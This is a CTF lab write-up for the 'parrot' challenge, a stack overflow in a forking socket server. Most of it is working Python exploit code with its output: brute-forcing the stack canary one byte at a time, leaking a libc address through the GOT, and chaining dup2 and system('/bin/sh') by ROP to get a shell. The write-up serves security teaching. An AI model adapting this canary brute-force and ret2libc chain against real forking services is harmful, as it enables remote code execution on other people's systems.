User Tools

Site Tools


Sidebar

session:solution:ctf-final-parrot

Final CTF: Parrot task writeup

void parrot(int sockfd)
{
        int count;
        char buf[1024];
        dprintf(sockfd, "==============================================\n");
        dprintf(sockfd, "Welcome to the Unexploitable Parrot service\n");
        dprintf(sockfd, "==============================================\n");
 
        dprintf(sockfd, "Stack smashing is futile if you apply protection mechanisms, right? Can you prove me wrong?\n");
        dprintf(sockfd, "Here, have a stack buffer overflow. It's on us :)\n");
        count = read(sockfd, buf, 1200);
}

We start out by checking the protection mechanisms on the binary:

checksec.sh --file parrot
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   parrot

Ok, so we somehow need to bypass the canary and then ROP our way to a shell (since it has NX).

What's curious about this binary is that it handles connections by itself using a forking mechanism:

    newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
    if (newsockfd < 0)
    {
        perror("ERROR on accept");
        exit(1);
    }
    pid = fork();
    if (pid < 0)
    {
        perror("ERROR on fork");
    	exit(1);
    }
    if (pid == 0)
    {
        close(sockfd);
        doprocessing(newsockfd);
        exit(0);
    } else {
        waitpid(-1, NULL, WNOHANG);
        close(newsockfd);
    }
.....
void doprocessing(int sockfd)
{
	parrot(sockfd);
	dprintf(sockfd, "Goodbye!\n");
}

This is particularly useful in two ways:

  • ASLR is effectively disabled: randomization only occurs at the creation of the parent process. forking does not change the memory layout.
  • The canary is fixed: it's only set before main is called in the libc boilerplate code. This means that throughout the lifetime of the parent process and its children processes only one canary is used.

Step 1: finding the canary

Since the canary is 4 bytes long this would imply that we need 232 tries to get it right. However, the current setup reduces this number drastically: we can control how much we overflow such that we only overflow into one byte at a time in the canary. This effectively means that we have 256 possibilities for each byte. We also know that in general stack canaries end with 0x00 so this leaves us with 256 + 256 + 256 tries in total.

We first need to know the offset from the start of our buffer to the stack canary. Since this function uses only one buffer the canary will be exactly after it (offset 1024)

Exploit code as follows:

#!/usr/bin/python
import struct
import socket
import telnetlib
 
import sys
 
 
def try_canary(canary):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('127.0.0.1', 31337))
	f = s.makefile('rw', bufsize=0)
 
	readuntil(f, ":)\n")
 
	f.write(1024 * "A" + canary )
	rcvd = readuntil(f, "Goodbye")
	if len(rcvd) > 3:
		print canary.encode('hex')
		exit(0)
 
 
 
 
def readuntil(f, delim='> '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        data += c
        if c == "":
                break
    return data
 
 
 
canary = sys.argv[1]
 
canary = canary.decode('hex')
 
for i in range(257):
	try_canary( canary +  chr(i) )
root@dmns:x86_64 [parrot] # python canary_find.py ""
00
root@dmns:x86_64 [parrot] # python canary_find.py "00"
0079
root@dmns:x86_64 [parrot] # python canary_find.py "0079"
0079b4
root@dmns:x86_64 [parrot] # python canary_find.py "0079b4"
0079b43e

Step 2: ROPing into system

Having the canary we should first test a simple payload such as a printf on a string. However, we need to output it on the socket so we will be using dprintf.

To find out the offset to the return address use gdb to bypass the stack canary check locally and us e a cyclic pattern. The end result is 1040.

We use peda strings to get a string and the address of dprintf:

gdb-peda$ print dprintf
$1 = {<text variable, no debug info>} 0x8048570 <dprintf@plt>
 
gdb-peda$ strings
x8049b90: Stack smashing is futile if you apply protection mechanisms, right? Can you prove me wrong?
0x8049bf0: Here, have a stack buffer overflow. It's on us :)
0x8049c23: Goodbye!
0x8049c2d: Usage: %s <port>
0x8049c3f: ERROR opening socket
0x8049c54: 0.0.0.0
0x8049c5c: ERROR on binding
0x8049c6d: ERROR on accept
0x8049c7d: ERROR on fork

We'll use 0x8049c54: 0.0.0.0

#!/usr/bin/python
import struct
import socket
import telnetlib
 
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 31337))
f = s.makefile('rw', bufsize=0)
 
 
 
 
 
 
def readuntil(f, delim='> '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
	data += c
	if c == "":
		break
    return data
 
 
 
readuntil(f, ":)")
 
canary = "0079b43e"
 
canary = canary.decode('hex')
 
dprintf = 0x8048570
 
string = 0x8049c54
payload = struct.pack("<IIII", dprintf, 0, 4, string)
 
f.write(1024 * "A" + canary + "A"*12 + payload)
 
 
 
t = telnetlib.Telnet()
t.sock = s
t.interact()

What we would like to do now is call system(“/bin/sh”), however we don't know their address because we don't have the remote libc.so used. There are two methods of obtaining the needed info:

  • Assume that all CTF tasks are started on the same VM: exploit an easier task and copy the libc from there
  • Leak any function offset from libc and check against the ones in libc-database https://github.com/niklasb/libc-database

To this end, we decide to leak an adress and search it in libc-database. Any function that was previously resolved is OK, one such function is dprintf itself.

gdb-peda$ pdis dprintf
Dump of assembler code for function dprintf@plt:
   0x08048570 <+0>:	jmp    DWORD PTR ds:0x804a01c
dprintf = 0x8048570
dprintf_got = 0x0804a01c
payload = struct.pack("<IIII", dprintf, 0, 4, dprintf_got)
 
f.write(1024 * "A" + canary + "A"*12 + payload)
 
f.read(1)
leak = f.read(4)
 
dprintf = struct.unpack("<I", leak)[0]
print "dprintf at %08X" % dprintf
# python exp.py 
dprintf at F75774E0                                
 
root@dmns:x86_64 [libc-database] # ./find dprintf 0xf75774e0
/lib32/libc.so.6 (id local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8)
 
root@dmns:x86_64 [libc-database] # ./dump local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8 dprintf
offset_dprintf = 0x0004c4e0
root@dmns:x86_64 [libc-database] # ./dump local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8
offset___libc_start_main_ret = 0x19943
offset_system = 0x0003dc70
offset_dup2 = 0x000db200
offset_read = 0x000da8c0
offset_write = 0x000da940
offset_str_bin_sh = 0x1594f5

The only thing remaining is a pop-pop-ret gadget to clear the stack in the ropchain. Any libc is full of such gadgets, we select one at random. The final exploit is as follows:

#!/usr/bin/python
import struct
import socket
import telnetlib
 
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 31337))
f = s.makefile('rw', bufsize=0)
 
 
 
 
def readuntil(f, delim='> '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
	data += c
	if c == "":
		break
    return data
 
 
 
readuntil(f, ":)")
 
canary = "0079b43e"
 
canary = canary.decode('hex')
 
dprintf = 0x8048570
dprintf_got = 0x0804a01c
payload = struct.pack("<IIII", dprintf, 0, 4, dprintf_got)
 
"""
f.write(1024 * "A" + canary + "A"*12 + payload)
 
f.read(1)
leak = f.read(4)
 
dprintf = struct.unpack("<I", leak)[0]
print "dprintf at %08X" % dprintf
"""
 
dprintf = 0xF75774E0
 
 
offset_dprintf = 0x0004c4e0
offset___libc_start_main_ret = 0x19943
offset_system = 0x0003dc70
offset_dup2 = 0x000db200
offset_read = 0x000da8c0
offset_write = 0x000da940
offset_str_bin_sh = 0x1594f5
 
libc_base = dprintf - offset_dprintf
 
system = libc_base + offset_system
binsh = libc_base + offset_str_bin_sh
dup2 = libc_base + offset_dup2
 
pop2ret = libc_base + 0x4beea
 
payload = struct.pack("<IIII", dup2, pop2ret, 4, 1) +  struct.pack("<IIII", dup2, pop2ret, 4, 0)
 
payload += struct.pack("<III", system, 0, binsh)
 
 
f.write(1024 * "A" + canary + "A"*12 + payload)
 
 
t = telnetlib.Telnet()
t.sock = s
t.interact()
root@dmns:x86_64 [parrot] # python exp.py 
 
date
Fri Jul 31 17:33:14 EEST 2015
session/solution/ctf-final-parrot.txt · Last modified: 2020/07/19 12:49 (external edit)